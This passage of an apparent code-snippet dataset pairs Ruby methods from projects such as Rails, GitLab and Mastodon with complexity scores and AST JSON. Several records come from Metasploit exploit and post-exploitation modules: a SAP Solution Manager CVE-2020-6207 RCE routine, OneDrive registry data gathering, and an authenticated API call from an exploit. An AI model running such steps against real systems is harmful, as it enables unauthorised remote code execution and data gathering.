":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/api/am/publisher/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api_version\"]}]},{\"type\":\"str\",\"children\":[\"/api-products\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bearer\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_api_data\"]},\"to_json\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[201]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to create API Product\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_created\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"API Product created successfully\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]}]}]}","id":"e12db9f8-a550-4e21-8d33-b231465c279b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":203,"raw_source":"def member_access_granted_email\n    Notify.member_access_granted_email(member.source_type, member.id).message\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"member_access_granted_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"member_access_granted_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"source_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"id\"]}]},\"message\"]}]}","id":"55db5d26-0732-4367-81f4-4d20f3a1932e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/tester.rb","start_line":131,"raw_source":"def resend_invite(app_id: nil)\n        client.resend_invite_to_external_tester(app_id: app_id, tester_id: self.tester_id)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resend_invite\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"resend_invite_to_external_tester\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tester_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tester_id\"]}]}]}]}]}","id":"47aa37c6-58ed-4735-b0a7-1c2849dcea66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":95,"raw_source":"def valid_milestone?(feature_flag)\n      return true unless feature_flag.milestone.nil?\n\n      @logger.puts \"#{feature_flag.name} has no milestone set!\"\n      false\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_milestone?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"milestone\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" has no milestone set!\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"a9f5d266-7a7b-4f52-a342-0c96275336c3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":356,"raw_source":"def test_has_many_polymorphic\n    assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicSourceError do\n      tags(:general).taggables\n    end\n\n    assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicThroughError do\n      taggings(:welcome_general).things\n    end\n\n    assert_raise ActiveRecord::EagerLoadPolymorphicError do\n      tags(:general).taggings.includes(:taggable).where(\"bogus_table.column = 1\").references(:bogus_table).to_a\n    end\n  end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_polymorphic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"HasManyThroughAssociationPolymorphicSourceError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\",{\"type\":\"sym\",\"children\":[\"general\"]}]},\"taggables\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"HasManyThroughAssociationPolymorphicThroughError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taggings\",{\"type\":\"sym\",\"children\":[\"welcome_general\"]}]},\"things\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"EagerLoadPolymorphicError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\",{\"type\":\"sym\",\"children\":[\"general\"]}]},\"taggings\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"taggable\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"bogus_table.column = 1\"]}]},\"references\",{\"type\":\"sym\",\"children\":[\"bogus_table\"]}]},\"to_a\"]}]}]}]}","id":"e281f0c0-2256-45e9-9e83-1e7aba4580d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":1053,"raw_source":"def send_bot_rat_expiry_to_inherited?(group_or_project)\n    namespace = group_or_project.is_a?(Namespace) ? group_or_project : group_or_project.namespace\n\n    namespace.resource_access_token_notify_inherited?\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"send_bot_rat_expiry_to_inherited?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_or_project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespace\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_or_project\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Namespace\"]}]},{\"type\":\"lvar\",\"children\":[\"group_or_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_or_project\"]},\"namespace\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"resource_access_token_notify_inherited?\"]}]}]}","id":"98409a29-7a25-41f6-82bd-962d1b3f2714"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/todoable_interface.rb","start_line":48,"raw_source":"def name\n      object.try(:name) || object.try(:title)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"try\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}","id":"cdb2043e-ea7e-485a-84ce-acd550604819"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialized_attribute_test.rb","start_line":338,"raw_source":"def test_regression_serialized_default_on_text_column_with_null_false\n    light = TrafficLight.new\n    assert_equal [], light.state\n    assert_equal [], light.long_state\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_regression_serialized_default_on_text_column_with_null_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"light\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrafficLight\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"light\"]},\"state\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"light\"]},\"long_state\"]}]}]}]}","id":"26e390b1-c1c4-4c48-973e-ade48ea183f6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account_conversation.rb","start_line":67,"raw_source":"def paginate_by_max_id(limit, max_id = nil, since_id = nil)\n      query = order(arel_table[:last_status_id].desc).limit(limit)\n      query = query.where(arel_table[:last_status_id].lt(max_id)) if max_id.present?\n      query = query.where(arel_table[:last_status_id].gt(since_id)) if since_id.present?\n      query\n    end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"paginate_by_max_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]},{\"type\":\"optarg\",\"children\":[\"max_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"since_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_status_id\"]}]},\"desc\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_id\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_status_id\"]}]},\"lt\",{\"type\":\"lvar\",\"children\":[\"max_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"since_id\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_status_id\"]}]},\"gt\",{\"type\":\"lvar\",\"children\":[\"since_id\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}","id":"5b54fb28-30b4-4555-8402-c6062067362c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/project_phases/side_panel_component.rb","start_line":44,"raw_source":"def render?\n        User.current.allowed_in_project?(:view_project_phases, @project) &&\n          @project.phases.active.any?\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_project_phases\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"phases\"]},\"active\"]},\"any?\"]}]}]}","id":"ff290a81-dc83-4939-b3fa-5d291747d760"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_onedrive.rb","start_line":96,"raw_source":"def get_syncengine_data(master, syncengines)\n    all_syncengines = {}\n    syncengines.each do |sync_provider| # Sync provider names are normally Personal for personal accounts\n      # or a hash value that is unique to each business account.\n      tmp_sync_provider_info = {}\n      SYNC_ENGINES_KEYS.each do |key|\n        tmp_sync_provider_info[key] = registry_getvaldata(\"#{master}\\\\#{sync_provider}\", key).to_s\n      end\n      all_syncengines[sync_provider] = tmp_sync_provider_info\n    end\n    all_syncengines\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_syncengine_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"master\"]},{\"type\":\"arg\",\"children\":[\"syncengines\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_syncengines\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"syncengines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_provider\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_sync_provider_info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SYNC_ENGINES_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_sync_provider_info\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"master\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_provider\"]}]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_syncengines\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"sync_provider\"]},{\"type\":\"lvar\",\"children\":[\"tmp_sync_provider_info\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"all_syncengines\"]}]}]}","id":"ba5f84fa-ad41-40fe-ace7-8f4051518b4a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/remote_console/rack_server.rb","start_line":34,"raw_source":"def initialize(options = {})\n      @logger = options.fetch(:logger, $remote_console_log)\n      @logger.info('Initializing RemoteConsole server!')\n      @proxy = SurroGate.new(logger)\n      @adapters = {}\n\n      @transmitter = Thread.new do\n        loop do\n          @proxy.select(1000)\n\n          @proxy.each_ready do |left, right|\n            begin\n              @adapters[left].fetch(64.kilobytes) { |data| @adapters[right].issue(data) } # left -> right\n            rescue IOError, IO::WaitReadable, IO::WaitWritable\n              cleanup(:info, \"Closing RemoteConsole proxy for VM %{vm_id}\", left, right)\n            rescue StandardError => ex\n              cleanup(:error, \"RemoteConsole proxy for VM %{vm_id} errored with #{ex} #{ex.backtrace.join(\"\\n\")}\", left, right)\n            end\n          end\n        end\n      end\n\n      @transmitter.abort_on_exception = true\n    end","complexity_score":38.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"gvar\",\"children\":[\"$remote_console_log\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Initializing RemoteConsole server!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@proxy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SurroGate\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"logger\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@adapters\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@transmitter\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy\"]},\"select\",{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy\"]},\"each_ready\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left\"]},{\"type\":\"arg\",\"children\":[\"right\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adapters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"left\"]}]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[64]},\"kilobytes\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@adapters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"right\"]}]},\"issue\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"WaitReadable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"WaitWritable\"]}]},null,{\"type\":\"send\",\"children\":[null,\"cleanup\",{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"str\",\"children\":[\"Closing RemoteConsole proxy for VM %{vm_id}\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"cleanup\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RemoteConsole proxy for VM %{vm_id} errored with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]}]},null]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@transmitter\"]},\"abort_on_exception=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"e18a9eb0-8784-460e-9b3f-8389037138f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/besecure.rb","start_line":56,"raw_source":"def database?\n        if !(framework.db && framework.db.usable)\n          return false\n        else\n          return true\n        end\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"database?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"usable\"]}]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"e096a31f-f642-4e00-a1c9-bb95b5905f72"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/touch_later_test.rb","start_line":73,"raw_source":"def test_touch_later_an_association_dont_autosave_parent\n    time = Time.now.utc - 25.days\n    line_item = LineItem.create!(amount: 1)\n    invoice = Invoice.create!(line_items: [line_item])\n    invoice.touch(time: time)\n\n    Invoice.transaction do\n      line_item.update(amount: 2)\n      assert_equal time.to_i, invoice.reload.updated_at.to_i\n    end\n\n    assert_not_equal time.to_i, invoice.updated_at.to_i\n  end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_touch_later_an_association_dont_autosave_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[25]},\"days\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line_item\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LineItem\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"invoice\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invoice\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoice\"]},\"touch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Invoice\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoice\"]},\"reload\"]},\"updated_at\"]},\"to_i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoice\"]},\"updated_at\"]},\"to_i\"]}]}]}]}","id":"d9533e41-5858-4ea3-9548-d1a1c81222a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb","start_line":225,"raw_source":"def action_exec\n    check_agent(@agent_name)\n\n    print_status(\"Enable EEM on agent: #{@agent_name}\")\n    enable_eem(@agent_name)\n\n    print_status(\"Start script: #{@script_name} with RCE payload on agent: #{@agent_name}\")\n    send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(@rce_command)))\n\n    print_status(\"Stop script: #{@script_name} on agent: #{@agent_name}\")\n    stop_script_in_agent(@agent_name, @script_name)\n\n    print_status(\"Delete script: #{@script_name} on agent: #{@agent_name}\")\n    delete_script_in_agent(@agent_name, @script_name)\n\n    report_service_and_vuln\n    print_good(\"Execution command: '#{@rce_command}' on agent: #{@agent_name}\")\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"action_exec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_agent\",{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Enable EEM on agent: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"enable_eem\",{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Start script: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@script_name\"]}]},{\"type\":\"str\",\"children\":[\" with RCE payload on agent: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_soap_request\",{\"type\":\"send\",\"children\":[null,\"make_soap_body\",{\"type\":\"ivar\",\"children\":[\"@agent_name\"]},{\"type\":\"ivar\",\"children\":[\"@script_name\"]},{\"type\":\"send\",\"children\":[null,\"make_rce_payload\",{\"type\":\"ivar\",\"children\":[\"@rce_command\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stop script: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@script_name\"]}]},{\"type\":\"str\",\"children\":[\" on agent: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@agent_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"stop_script_in_agent\",{\"type\":\"ivar\",\"children\":[\"@agent_name\"]},{\"type\":\"ivar\",\"children\":[\"@script_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Delete script: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@script_name\"]}]},{\"type\":\"str\",\"children\":[\" on agent: 